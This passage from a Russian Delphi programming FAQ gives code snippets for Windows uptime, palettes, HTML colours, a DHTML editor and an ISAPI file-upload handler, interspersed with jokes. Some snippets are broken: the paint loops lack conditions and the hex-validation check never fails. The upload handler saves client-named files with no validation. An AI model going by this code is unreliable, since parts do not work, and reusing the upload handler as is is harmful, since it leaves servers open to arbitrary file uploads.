if LowerCase(ExtractFileName(
(FProcessEntry32.szExeFile))) = 'kernel32.dll' then
if not (TerminateProcess(
OpenProcess(PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0)) then
MessageBoxEx(Application.Handle,
'Can`t kill windows kernel...',
'Warning', MB_ICONWarning + MB_OK, $0419);
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
|
Как долго запущена Windows.
| - Э, простите, а сколько занимает виндовс? - Сколько находит - столько и занимает... |
procedure TForm1.Button1Click(Sender: TObject);
var
ndays: double;
ticks: LongInt;
btime: TDateTime;
begin
{Функция GetTickCount получает количество миллисекунд,
прошедших с момента старта Windows}
ticks := GetTickCount;
{Чтобы получить дни, необходимо разделить на количество
миллисекунд в дне, 24*60*60*1000=86400000}
ndays := ticks/86400000;
{теперь вычитаем из текущей даты полученное количество
дней работы Windows}
bTime := now-ndays;
{показываем диалоговое окошко с сообщением}
ShowMessage(
FormatDateTime('"Windows started on" dddd, mmmm d, yyyy, ' +
'"at" hh:nn:ss AM/PM', bTime) + #10#13 +
'Its been up for ' + IntToStr(Trunc(nDays)) + ' days,' +
FormatDateTime(' h "hours," n "minutes," s "seconds"',ndays));
end;
|
Как узнать количество бит в цветовой палитре.
| Просыпаются утром парень с девушкой, грустный серый осенний день. подходят к окну. Девушка: - Какой сегодня серый день... Парень: - Палитра слетела... |
function GetDisplayColors: integer; var tHDC: hdc; begin tHDC := GetDC(0); result := GetDeviceCaps(tHDC, 12) * GetDeviceCaps(tHDC, 14); ReleaseDC(0, tHDC); end; |
Как узнать количество бит в цветовой палитре 2.
1 shl GetDeviceCaps( Canvas.Handle, BITSPIXEL ) |
Как обрабатывать сообщения.
Обработка сообщений означает, что приложение будет тем или иным образом реагировать на полученные от операционной системы сообщения. В стандартном приложении Windows обработка сообщений сосредотачивается в процедурах окна. Delphi, частично обрабатывая сообщения, упрощает работу программиста, позволяя вместо одной процедуры для обработки всех типов сообщений создавать независимые процедуры для обработки сообщений различных типов.
Все процедуры обработки сообщений должны отвечать следующим требованиям:
Процедура должна быть методом объекта Процедуре должен передаваться один передаваемый по ссылке параметр, т.е. с помощью описания var. Тип параметра должен быть TMessage или другой, зависящий от типа специализированного сообщения Описание процедуры должно включать ключевое слово message, за которым должна следовать константа, задающая тип обрабатываемого сообщенияВот пример объявления процедуры, обрабатывающей сообщение WM_Paint.
procedure WMPaint(var Msg: TWMPaint); message wm_Paint; |
[соглашение по присвоению имён требует присваивать обработчику сообщения то же имя, что и имя обрабатываемого сообщения, но без символа подчёркивания и указанием первым знаков имени прописными буквами].
В качестве примера напишем процедуру обработки сообщения WM_Paint, которая вместо перерисовки будет выдавать звуковой сигнал:
Для этого сначала нужно объявить процедуру в частных объявлениях (в области Private объекта TForm1):
procedure WMPaint(var Msg: TWMPaint); message wm_Paint; |
Теперь в разделе implementation модуля добавляем определение процедуры (в этом случае указание ключевого слова message не требуется):
procedure TForm1.WMPaint(var Msg: TWMPaint); begin beep; inherited; end; |
Обратите внимание на ключевое слово inherited, которое позволяет передать сообщение обработчику этого сообщения, принадлежащему классу-предку, т.е. если бы мы в нашем случае не указали бы это слово, перерисовка окна не осуществлялась бы, а выполнялось бы только только то, что было описано в области реализации нашего приложения, т.е. только бы подавался звуковой сигнал.
Как использовать ChartFX.
| В Microsoft обнаружен подкидыш. Слухов ходит огромное количество. Некоторые намекают на то, что Билл Гейтс - отец ребенка. Это побуждает Microsoft (МD) выступить с официальным заявлением: - Во-первых, сотрудник MD не может быть отцом ребенка. - Во-вторых, в MD ничего никогда не изготавливалось за такой короткий срок. - В-третьих, в MD никогда не производилось ничего такого, что с самого начала имело бы все самое необходимое для жизни. |
unit Chart;
...
with ChartFX do
begin
Visible := false;
{ Устанавливаем режим ввода значений }
{ 1 - количество серий (в нашем случае 1), 3 - количество значений }
OpenData [COD_VALUES] := MakeLong (1,3);
{ Номер текущей серии }
ThisSerie := 0;
{ Value [i] - значение с индексом i }
{ Legend [i] - комментарий к этому значению }
Value [0] := a;
Legend [0] := 'Значение переменной A';
Value [1] := b;
Legend [1] := 'Значение переменной B';
Value [2] := c;
Legend [2] := 'Значение переменной C';
{ Закрываем режим }
CloseData [COD_VALUES] := 0;
{ Ширина поля с комментариями на экране (в пикселах) }
LegendWidth := 150;
Visible := true;
end;
|
Как работать с палитрой в Delphi.

| Старый анекдот на новый лад: - Что такое тугодум? - Это игра Doom II, запущенная на 386-м компьютере. - Ага, или Doom III практически на любом... |
Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:
procedure TMain.BitBtnClick(Sender: TObject);
var
Palette : HPalette;
PaletteSize : Integer;
LogSize: Integer;
LogPalette: PLogPalette;
Red : Byte;
begin
Palette := Image.Picture.Bitmap.ReleasePalette;
// здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не
// знаю, удаляются ли ненужные палитры автоматически
if Palette=0 then //Палитра отсутствует
exit;
PaletteSize := 0;
if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then
Exit;
// Количество элементов в палитре = paletteSize
if PaletteSize = 0 then // палитра пустая
Exit;
// определение размера палитры
LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);
GetMem(LogPalette, LogSize);
try
// заполнение полей логической палитры
with LogPalette^ do
begin
palVersion := $0300; palNumEntries := PaletteSize;
GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);
// делаете что нужно с палитрой, например:
Red := palPalEntry[PaletteSize-1].peRed;
Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red);
palPalEntry[PaletteSize-1].peRed := 0;
end;
// завершение работы
Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);
finally
FreeMem(LogPalette, LogSize);
// я должен позаботиться сам об удалении Released Palette
DeleteObject(Palette);
end;
end;
{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)
и меняет его палитру при нажатии кнопки }
unit bmpformu;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TBmpForm = class(TForm)
Button1: TButton;
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
Bitmap: TBitmap;
procedure ScrambleBitmap;
procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;
var
BmpForm: TBmpForm;
implementation
{$R *.DFM}
procedure TBmpForm.FormCreate(Sender: TObject);
begin
Bitmap := TBitmap.Create;
Bitmap.LoadFromFile('bor6.bmp');
end;
procedure TBmpForm.FormDestroy(Sender: TObject);
begin
Bitmap.Free;
end;
// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
m.Result := LRESULT(False);
end;
procedure TBmpForm.FormPaint(Sender: TObject);
var
x, y: Integer;
begin
y := 0;
while y do
begin
x := 0;
while x do
begin
Canvas.Draw(x, y, Bitmap);
x := x + Bitmap.Width;
end;
y := y + Bitmap.Height;
end;
end;
procedure TBmpForm.Button1Click(Sender: TObject);
begin
ScrambleBitmap;
Invalidate;
end;
// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
pal: PLogPalette;
hpal: HPALETTE;
i: Integer;
begin
pal := nil;
try
GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
pal.palVersion := $300;
pal.palNumEntries := 256;
for i := 0 to 255 do
begin
pal.palPalEntry[i].peRed := Random(255);
pal.palPalEntry[i].peGreen := Random(255);
pal.palPalEntry[i].peBlue := Random(255);
end;
hpal := CreatePalette(pal^);
if hpal <> 0 then
Bitmap.Palette := hpal;
finally
FreeMem(pal);
end;
end;
end.
|
Показать код HTML страницы в TMemo.
| - Вы слышали, вышел отечественный браузер? Называется "Иван Сусанин" - до сих пор никто выйти не может. |
// You need a TMemo, a TButton und a NMHTTP
procedure TForm1.Button1Click(Sender: TObject);
begin
NMHTTP1.Get('www.swissdelphicenter.ch');
memo1.Text := NMHTTP1.Body
end;
|
Как получить цвет строки в HTML формате.
| Вебмастер сдает на права, заполняет бланк: Рост: 175 Вес: 80 Цвет глаз: #44AAFF |
Если Вам необходимо создать HTML-файл, то необходимо объявить тэг для цвета шрифта либо цвета фона. Однако просто вставить значение TColor не получится - необходимо преобразовать цвет в формат RGB. В своём наборе SMExport я использую следующую функцию:
function GetHTMLColor(cl: TColor; IsBackColor: Boolean): string;
var
rgbColor: TColorRef;
begin
if IsBackColor then
Result := 'bg'
else
Result := '';
rgbColor := ColorToRGB(cl);
Result := Result + 'color="#' +
Format('%.2x%.2x%.2x',
[GetRValue(rgbColor),
GetGValue(rgbColor),
GetBValue(rgbColor)]) + '"';
end;
|
Как преобразовать шестнадцатиричный цвет HTML в TColor.
| Стоит взвод молодых бойцов. Старшина: - По порядку номеров рассчитайсь!!! Солдат-программист: - Можно вопрос ? - Можно... - А в какой системе? Десятичной? Шестнадцатеричной? - Для дураков объясняю, в десятичной!!! - Понял! Нулевой!!! |
unit colours;
interface
uses
Windows, Sysutils, Graphics;
function ConvertHtmlHexToTColor(Color: string):TColor ;
function CheckHexForHash(col: string):string ;
implementation
function ConvertHtmlHexToTColor(Color: string):TColor ;
var
rColor: TColor;
begin
Color := CheckHexForHash(Color);
if (length(color) >= 6) then
begin
{незабудьте, что TColor это bgr, а не rgb: поэтому необходимо изменить порядок}
color := '$00' + copy(color,5,2) + copy(color,3,2) + copy(color,1,2);
rColor := StrToInt(color);
end;
result := rColor;
end;
// Просто проверяет первый сивол строки на наличие '#' и удаляет его, если он найден
function CheckHexForHash(col: string):string ;
begin
if col[1] = '#' then
col := StringReplace(col,'#','',[rfReplaceAll]);
result := col;
end;
end.
|
HTMLEditor - Краткий обзор.
Автор: Алексей Румянцев Вступление - загрузка информации. Часто в своих проектах, там, где нужно дать возможность пользователю редактировать текст, выделять различными шрифтами (стилями, цветами...) отдельные слова и в других подобных случаях, мы используем, чаще всего, TRichEdit. Всем он нравится как редактор?, хорош и удобен он в работе? На эти вопросы каждый ответит по своему, но в принципе, худо-бедно, пользоваться им можно. Можно потому что не видно другой альтернативы. Вернее она есть, и на много удобнее и продвинутее чем Riсh'формат - это Нtml'формат, но он не доступен для визуального редактирования - т.е. для него нет редактора, поддерживающего стили, картинки, таблицы( )., вот и получается что оно как бы есть, но его как бы нет. А если бы был (здесь можно помечтать, что с помощью такого редактора можно было бы сделать)? А.если нечто подобное есть, а вы об этом не знаете (здесь можно состроить гримасу удивления и задаться вопросом "зачем такое делать и никому об этом не говорить?")? Короче, альтернатива Riсh'формату есть это Html, теперь давайте попробуем найти для него редактор. Но чтобы что-то искать, надо, как минимум, знать что это что-то есть. Когда же я стал искать, то я еще не знал о существовании такого редактора, да вобщем-то и искал не его и обнаружение его - это побочный эффект любопытства. Куда ты завел нас...?Что и зачем я искал вам не интересно, а вот что и где я нашел мы сейчас узнаем.
Запускаем один экземпляр Delphi (у меня 5-ая версия). В меню-баре выбираем пункт "Component", затем "Import ActiveX Control". В появившемся окне, в списке зарегестрированных ActiveX Соntrоl'ов находим строку "DHTML Edit Control..." и выделяем ее (я не обещаю что у всех она будет, но если вдруг не будет попробуйте нажать кнопку "Add" и найти файл "C:\Program Files\Common Files\Microsoft Shared\Triedit\DHTMLED.OCX").. Результат должен быть примерно следующий:


А теперь в два приема создаем проект и тестируем то что получилось.
Создаем новый проект находим палитру компонент "ActiveX", где видим две новые иконки выбираем ту что называется "DHTMLEdit" бросаем ее на форму устанавливаем Align := alClient запускаем проект выделяем текст на странице которую вы сейчас читаете (Ctrl+A) и копируем с нее текст (Ctrl+C) переходим в наш проект ставим в поле курсор (щелкните мышью по полю) нажимаем "Ctrl+V" смотрим и удивляемся. Текст можно редактировать, выделять, подсвечивать (Ctrl+B, Ctrl+I, Ctrl+U), искать (Ctrl+F), и даже кажется печатать(Ctrl+P) (не уверен так как у меня нет принтера). А что дальше? А вот в этом-то вся шутка юмора и заключается... А я не знаю что дальше, точнее как програмно работать с ним - выделять, вставлять рисунки, рисовать таблицы и т.д. Судя по тому что все это он может отображать, он должен и уметь все это создавать, но с разбегу у меня не получилось разобраться. Поэтому, заинтересовавшийся народ, вот вам ребус - работа с html-едитором, взаимодействие его с программой и с пользователем - все это теперь ваша забота, а мы будем ждать появления на страницах "Королевства" от вас статей на этот счет, а я, пардон, отойду в сторону - у меня другие интересы и задачи, я лишь посчитал своим долгом познакомить вас со своей находкой. Единственное только знаю, что его можно использовать и как html-editor, и как html-viewer. ЗаключениеЭто полностью моя статья, ни на что не претендующая, ни с кого не требующая, ни от куда не списанная (даже упоминаний о DНТМLЕdit'оре не где не слышал). Описанный контрол, технической поддержке со стороны автора статьи не подлежит, даже ответов на вопросы по нему не предусматривается. Все. Удачи. Всем пока.
Компонента HTML - редактора.
Автор: NomadicЕсли у тебя стоит MS Internet Explorer 5, то считай, редактор у тебя в кармане ;-) Дело в том, что вместе с эксплорером идет DHTML -- ActiveX контрол, представляющий собой редактор HTML-ок, покруче, чем FrontPage Express даже, т.к. держит даже стили (.css). Лежит в C:\Program Files\Common Files\Microsoft Shared\Triedit. В Дельфи устанавливается через меню Components|Import ActiveX Control. При распространении своей программы с этим компонентом не забудь, что помимо копирования на машину клиента всех файлов из приведенного выше каталога нужно, чтоб они зарегистрированы были (regsvr32 имяфайла).
Закачать файл на WEB-сервер с помощью HTML.
Оригинал статьи: Delphi Web Development На этой страничке вы узнаете как закачать файл на веб-сервер, используя HTML. Перед тем как приступить к разработке, желательно ознакомиться с RFC1867: Form-based File Upload in HTML, в котором описаны форматы передачи файлов в HTML. Клиент Чтобы закачать файл на сервер, Вам нужно использовать тэг FORM. Для передачи данных формы, обязательно, используется метод POST и устанавливается MIME media type: multipart/form-data. Вы должны установить в тэг FORM атрибут ENCTYPE равным multipart/form-data, и в форму добавить элемент INPUT типа file.Например, давайте создадим следующий HTML файл, назовем его upload.htm и положим его в корневой директорий веб сервера.
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>DWD File Upload</title> </head> <body> <form method="POST" action="/scripts/upload.dll" enctype="multipart/form-data"> <p><input type="checkbox" name="checkbox" value="ON">CheckBox Test <p>RadioBox Test: <input type="radio" value="ON" checked name="radiobox">ON <input type="radio" value="OFF" name="radiobox">OFF <p>TextBox Test: <input type="text" name="text" size="20"> <p>File2 Test: <input type="file" name="myfile1" size="20"> <p>File2 Test: <input type="file" name="myfile2" size="20"> <p>File2 Test: <input type="file" name="myfile3" size="20"> <p> <input type="submit" value="Submit"> <input type="reset" value="Reset" name="B2"> </form> </body> </html>Пример 1 Итак, мы создали форму которая содержит элементы checkbox, radio, text и три(!) элемента file. Загрузите этот файл браузером, например, набирите http://localhost/upload.htm. Если, нажав кноку Browse на форме, выбрать файл 1: C:\\image.gif, файл 2: C:\\test.exe, файл 3: C:\\text.txt и нажать кнопку Submit, в соответствии с RFC1867 браузер должен сформировать и передать в заголовке HTTP поле ContentType: multipart/form-data; boundary=--7d015813802c4
И примерно следующий контент:
----7d015813802c4 Content-Disposition: form-data; name="checkbox" ON ----7d015813802c4 Content-Disposition: form-data; name="radiobox" ON ----7d015813802c4 Content-Disposition: form-data; name="text" ...текст из элемента текст... ----7d015813802c4 Content-Disposition: form-data; name="myfile1"; filename="C:\\image.gif" Content-Type: image/gif ...содержимое файла 1... ----7d015813802c4 Content-Disposition: form-data; name="myfile2"; filename="C:\\test.exe" Content-Type: application/octet-stream ...содержимое файла 2... ----7d015813802c4 Content-Disposition: form-data; name="myfile3"; filename="C:\\text.txt" Content-Type: text/plain ...содержимое файла 3... ----7d015813802c4--Пример 2 Где boundary (граница) - разделитель полей. Сервер На стороне сервера, для приема данных, мы будем использовать ISAPI приложение, которое сейчас и создадим. Запускаем Delphi, создаем с помощью Delphi IDE новый проект (мы создали ISAPI DLL, вы можете создать как ISAPI, так и CGI) и создаем обработчик WebActionItem. Установим его свойство Default равным True.
Приступим к написанию кода. Создадим обработчик события OnAction, для созданного WebActionItem. Прежде всего нужно быть уверенным, что принимаемые данные действительно имеют ContentType: multipart/form-data:
procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
if (Pos('multipart/form-data', LowerCase(Request.ContentType)) > 0) and
(Pos('boundary', LowerCase(Request.ContentType)) > 0) then
begin
...
end
else
Response.Content := 'Content-type is not "multipart/form-data".';
end;
Пример 3
Определим boundary, для этого воспользуемся функцией ExtractHeaderFields:
...
var
Boundary: string;
Header: TStrings;
begin
...
Header := TStringList.Create;
try
ExtractHeaderFields([';'], [' '], PChar(Request.ContentType), Header,
False, False);
Boundary := Header.Values['boundary'];
finally
Header.Free;
end;
...
Пример 4
Для того, чтобы прочитать переданные клиентом данные, нужно прочитать свойство Content объекта Request. Следует сказать, что Request.Content не обязательно должен содержать все данные т.к. размер свойства Content ограничен, особенно актуально это для передачи файлов большого размера. Для того чтобы прочитать следующую порцию данных, используйте метод ReadClient объекта Request. Метод ReadClient читает данные в буфер. В качесте буфера используем PChar. Определить размер данных, которые необходимо считать можно так:
AllContent := Request.Content; ByteToRead := Request.ContentLength - Length(AllContent);
Далее следует зарезервировать память для буфера, для того чтобы экономнее расходовать память, ограничим максимальный размер буфера константой MaxReadBlockSize. Определим весь поток данных, переданный клиентом:
const
MaxReadBlockSize = 8192;
...
var
Boundary, BufferStr, AllContent: string;
Header: TStrings;
ByteToRead, ReadedBytes, RSize: Integer;
Buffer: PChar;
begin
...
AllContent := Request.Content;
ByteToRead := Request.ContentLength - Length(AllContent);
try
while ByteToRead > 0 do
begin
RSize := MaxReadBlockSize;
if RSize > ByteToRead then
RSize := ByteToRead;
GetMem(Buffer, RSize);
try
ReadedBytes := Request.ReadClient(Buffer^, RSize);
SetString(BufferStr, Buffer, ReadedBytes);
AllContent := AllContent + BufferStr;
finally
FreeMem(Buffer, RSize);
end;
ByteToRead := Request.ContentLength - Length(AllContent);
end;
// и возвратим клиенту справочную информацию
Response.Content := Response.Content + Format('ContentType = %s<br>' +
'ContentLength = %d<br>Readed Bytes = %d<br>Boundary = %s<hr>',
[Request.ContentType, Request.ContentLength, Length(AllContent),
boundary]);
...
except
on E: Exception do
Response.Content := Response.Content + '<p>' + E.Message;
end;
...
Пример 5
Итог: мы прочитали весь переданный контент и присвоили его переменной AllContent, а также узнали разделитель Boundary.
Следующим этапом необходимо полученный контент разобрать по частям. Для этого напишем функцию.
ReadMultipartRequest(const Boundary: string; ARequest: string; var AHeader: TStrings; var Data: string): string;
Которая будет запрашивать разделитель Boundary и AllContent, и возвращать поля заголовка в AHeader и содержимое поля в Data. Результатом выполнения функции будет передан AllContent без первого поля формы. Например, после первой обработки данных, показанных в Примере 2, результат возвращаемый функцией будет:
----7d015813802c4 Content-Disposition: form-data; name="radiobox" ON ----7d015813802c4 Content-Disposition: form-data; name="text" ...текст из элемента текст... ----7d015813802c4 Content-Disposition: form-data; name="myfile1"; filename="C:\\image.gif" Content-Type: image/gif ...содержимое файла 1... ----7d015813802c4 Content-Disposition: form-data; name="myfile2"; filename="C:\\test.exe" Content-Type: application/octet-stream ...содержимое файла 2... ----7d015813802c4 Content-Disposition: form-data; name="myfile3"; filename="C:\\text.txt" Content-Type: text/plain ...содержимое файла 3... ----7d015813802c4--Пример 6
Объект AHeader будет содержать:
Content-Disposition=form-data; name="checkbox"а переменная Data = 'ON'.
После четвертой обработки будет:
----7d015813802c4 Content-Disposition: form-data; name="myfile2"; filename="C:\\test.exe" Content-Type: application/octet-stream ...содержимое файла 2... ----7d015813802c4 Content-Disposition: form-data; name="myfile3"; filename="C:\\text.txt" Content-Type: text/plain ...содержимое файла 3... ----7d015813802c4--Пример 7
Объект AHeader будет содержать:
Content-Disposition=form-data; name="myfile1"; filename="C:\\image.gif" Content-Type=image/gifа переменная Data = ...содержимое файла 1....
Код функции приведен в Примере 8:
function TWebModule1.ReadMultipartRequest(const Boundary: string;
ARequest: string; var AHeader: TStrings; var Data: string): string;
var
Req, RHead: string;
i: Integer;
begin
Result := '';
AHeader.Clear;
Data := '';
if (Pos(Boundary, ARequest) < Pos (Boundary + '--', ARequest))
and (Pos(Boundary, ARequest) = 1) then
begin
Delete(ARequest, 1, Length(Boundary) + 2);
Req := Copy(ARequest, 1, Pos(Boundary, ARequest) - 3);
Delete(ARequest, 1, Length(Req) + 2);
RHead := Copy(Req, 1, Pos(#13#10#13#10,Req)-1);
Delete(Req, 1, Length(RHead) + 4);
AHeader.Text := RHead;
for i := 0 to AHeader.Count - 1 do
if Pos(':', AHeader.Strings[i]) > 0 then
AHeader.Strings[i] := Trim(Copy(AHeader.Strings[i], 1,
Pos(':', AHeader.Strings[i])-1)) + '=' + Trim(Copy(AHeader.Strings[i],
Pos(':', AHeader.Strings[i])+1, Length(AHeader.Strings[i]) -
Pos(':', AHeader.Strings[i])));
Data := Req;
Result := ARequest;
end
end;
Пример 8
Теперь осталось только вызвать данную процедуру в цикле и сохранить данные на диск.
Определим константу UploadPath, которая будет содержать путь к папке, в которую будем сохранять принятые файлы.
const
UploadPath = 'C:\\temp\\upload\\';
...
var
AllContent, Boundary, Data: string;
Header, HList: TStrings;
OutStream: TFileStream;
begin
...
if Request.ContentLength = Length(AllContent) then
while Length(AllContent) > Length('--' + Boundary + '--' + #13#10)do
begin
Header := TStringList.Create;
HList := TStringList.Create;
try
AllContent := ReadMultipartRequest('--' + Boundary, AllContent,
Header, Data);
ExtractHeaderFields([';'], [' '],
PChar(Header.Values['Content-Disposition']), HList, False, True);
if (Header.Values['Content-Type'] <> '') and (Data <> '') then
begin
OutStream:=TFileStream.Create(UploadPath +
ExtractFileName(HList.Values['filename']), fmCreate);
try
try
OutStream.WriteBuffer(Pointer(Data)^, Length(Data));
Response.Content := Response.Content +
Format('<p>File <b>%s</b> saved.',
[ExtractFileName(HList.Values['filename'])]);
except
Response.Content := Response.Content +
Format('<p>Unable to save file <b>%s</b>.', [UploadPath +
ExtractFileName(HList.Values['filename'])]);
end;
finally
OutStream.Free;
end
end
else
Response.Content := Response.Content + Format('<p>Field <b>%s</b> = %s',
[HList.Values['name'], Data]);
finally
Header.Free;
HList.Free;
end;
end;
...
Пример 9
В результате выполнения данного блока программы, поля, которые содержат файл, будут сохранены на диск в папку заданную константой UploadPath, а поля, не содержащие файл будут показаны в результате выполнения скрипта, имя поля и значение будут переданы клиенту.
Как сохранить веб страничку в Bitmap.
| Автор: John |
| Сантехник ковыряется в унитазе. Прочищает засор типа... Вдруг замечает, что за ним наблюдает мальчик. - Что мальчик, неприятно? Это тебе, панимашшь, не в Интернете копаться... |
procedure TForm1.Button1Click(Sender: TObject);
var
ViewObject: IViewObject;
sourceDrawRect: TRect;
begin
if EmbeddedWB1.Document <> nil then
try
EmbeddedWB1.Document.QueryInterface(IViewObject, ViewObject);
if ViewObject <> nil then
try
sourceDrawRect := Rect(0, 0, Image1.Width, Image1.Height);
ViewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, Self.Handle,
image1.Canvas.Handle, @sourceDrawRect, nil, nil, 0);
finally
ViewObject._Release;
end;
except
end;
end;
|
Скопировать HTML-код в буфер обмена.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
If you've ever tried sticking html into the clipboard using the usual CF_TEXT
format then you might have been disappointed to discover that wysiwyg html
editors paste your offering as if it were just text,
rather than recognising it as html. For that you need the CF_HTML format.
CF_HTML is entirely text format and uses the transformation format UTF-8.
It includes a description, a context, and within the context, the fragment.
As you may know one can place multiple items of data onto the clipboard for
a single clipboard entry, which means that the same data can be pasted in a
variety of different formats in order to cope with target
applications of varying sophistocation.
The following example shows how to stick CF_TEXT (and CF_HTML)
into the clipboard.
}
{
Vielleicht hast du schon mal probiert, HTML-formatierter Text in die
Zwischenablage zu kopieren mit dem gеwцhn1iсhеn CF_TEXT Format.
Wenn man dann z.B in Word (Bearbeiten, Inhalte Еinfьgеn) аиswдh1t,
gibt's das HTML Format aber nicht zur Auswahl.
Lцsиng: Mit RegisterClipboardFormat das Format CF_HTML registrieren,
dann einen String so formatieren, wie es auf der Microsoft Seite beschrieben
ist (Siehe Link unten) und ihn dann mit der SetClipboardData API in
die Zwischenablage kopieren.
Das folgende Beispiel zeigt, wie man zwei verschiedene Formate (Text und HTML)
in die Zwischenablage еinfьgеn kann.
}
function FormatHTMLClipboardHeader(HTMLText: string): string;
const
CrLf = #13#10;
begin
Result := 'Version:0.9' + CrLf;
Result := Result + 'StartHTML:-1' + CrLf;
Result := Result + 'EndHTML:-1' + CrLf;
Result := Result + 'StartFragment:000081' + CrLf;
Result := Result + 'EndFragment:°°°°°°' + CrLf;
Result := Result + HTMLText + CrLf;
Result := StringReplace(Result, '°°°°°°', Format('%.6d', [Length(Result)]), []);
end;
//The second parameter is optional and is put into the clipboard as CF_HTML.
//Function can be used standalone or in conjunction with the VCL clipboard so long as
//you use the USEVCLCLIPBOARD conditional define
//($define USEVCLCLIPBOARD}
//(and clipboard.open, clipboard.close).
//Code from http://www.lorriman.com
procedure CopyHTMLToClipBoard(const str: string; const htmlStr: string = '');
var
gMem: HGLOBAL;
lp: PChar;
Strings: array[0..1] of string;
Formats: array[0..1] of UINT;
i: Integer;
begin
gMem := 0;
{$IFNDEF USEVCLCLIPBOARD}
Win32Check(OpenClipBoard(0));
{$ENDIF}
try
//most descriptive first as per api docs
Strings[0] := FormatHTMLClipboardHeader(htmlStr);
Strings[1] := str;
Formats[0] := RegisterClipboardFormat('HTML Format');
Formats[1] := CF_TEXT;
{$IFNDEF USEVCLCLIPBOARD}
Win32Check(EmptyClipBoard);
{$ENDIF}
for i := 0 to High(Strings) do
begin
if Strings[i] = '' then Continue;
//an extra "1" for the null terminator
gMem := GlobalAlloc(GMEM_DDESHARE + GMEM_MOVEABLE, Length(Strings[i]) + 1);
{Succeeded, now read the stream contents into the memory the pointer points at}
try
Win32Check(gmem <> 0);
lp := GlobalLock(gMem);
Win32Check(lp <> nil);
CopyMemory(lp, PChar(Strings[i]), Length(Strings[i]) + 1);
finally
GlobalUnlock(gMem);
end;
Win32Check(gmem <> 0);
SetClipboardData(Formats[i], gMEm);
Win32Check(gmem <> 0);
gmem := 0;
end;
finally
{$IFNDEF USEVCLCLIPBOARD}
Win32Check(CloseClipBoard);
{$ENDIF}
end;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
CopyHTMLToClipBoard('SwissDelphiCenter', 'SwissDelphiCenter');
end;
Перевод строки HTML кода в цвет.
Автор: Fenik WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Перевод строки HTML кода в цвет
Зависимости: Graphics
Автор: Fenik, chook_nu@uraltc.ru, Новоуральск
Copyright: Автор Федоровских Николай
Дата: 26 октября 2002 г.
***************************************************** }
function HTMLToColor(const s: string; var Color: TColor): Boolean;
{Функция переводит строку HTML кода в цвет.
Если результат успешен, то возвращает True
и записывает цвет в переменную Color,
иначе возвращает False.
Строка должна быть например такой: #2A09F4
в диапазоне #000000 - #FFFFFF}
function No16: Boolean;
{Функция проверяет относятся ли символы с 2 по 7
к шестнадцатеричной системе счисления.
Если относятся, то результат - False,
иначе - True}
var
i: Integer;
begin
Result := False;
for i := 2 to 7 do
if not ((s[i] in ['0'..'9']) or (s[i] in ['A'..'F'])) then
begin
Break;
Result := True;
end;
end;
function GetNum(pos: Byte): Byte;
{перевод строки с шетнадцатеричным двухзначным
числом в десятичное число}
var
ms: string;
E: Integer;
begin
{выделяем фрагмент строки длиной в 2 символа
начиная с заданной позиции и переводим его в число}
ms := '$' + Copy(s, pos, 2);
Val(ms, Result, E);
end;
begin
Result := False;
{Функция потерпит неудачу,
если строка имеет неверный формат.}
if (Length(s) <> 7) then
Exit
else if (s[1] <> '#') then
Exit
else if No16 then
Exit;
Color := GetNum(6) shl 16 {синий}
or GetNum(4) shl 8 {зелёный}
or GetNum(2); {красный}
{или Color := RGB(GetNum(2), GetNum(4), GetNum(6));}
Result := True;
end;
Пример использования:
if HTMLToColor(HTMLEdit.Text, C) then
begin
Panel1.Color := C;
ChangeColor;
end;
HTMLToColor('#808080', C) {C := clGray}
Как сохранить веб страничку в JPEG.
| Автор: Donall Burns |
| Разговор двух инетчиков: - Как ты думаешь чем рай отличаеться от ада? - В раю просто есть интернет!!! |
procedure generateJPEGfromBrowser(browser: iWebBrowser2; jpegFQFilename: String;
srcHeight: Integer; srcWidth: Integer; tarHeight: Integer; tarWidth: Integer);
var
sourceDrawRect : TRect;
targetDrawRect: TRect;
sourceBitmap: TBitmap;
targetBitmap: TBitmap;
jpeg: TJPEGImage;
viewObject: IViewObject;
begin
sourceBitmap := TBitmap.Create ;
targetBitmap := TBitmap.Create ;
jpeg := TJPEGImage.Create ;
try
try
sourceDrawRect := Rect(0,0, srcWidth , srcHeight );
sourceBitmap.Width := srcWidth ;
sourceBitmap.Height := srcHeight ;
viewObject := browser as IViewObject;
if viewObject = nil then
Exit;
OleCheck(viewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, self.Handle,
sourceBitmap.Canvas.Handle, @sourceDrawRect, nil, nil, 0));
// Resize Bitmap
targetDrawRect := Rect(0,0, tarWidth, tarHeight);
targetBitmap.Height := tarHeight;
targetBitmap.Width := tarWidth;
targetBitmap.Canvas.StretchDraw(targetDrawRect, sourceBitmap);
// Create JPEG from Bitmap and save it
jpeg.Assign(targetBitmap) ;
makeFileWriteable(jpegFQFilename);
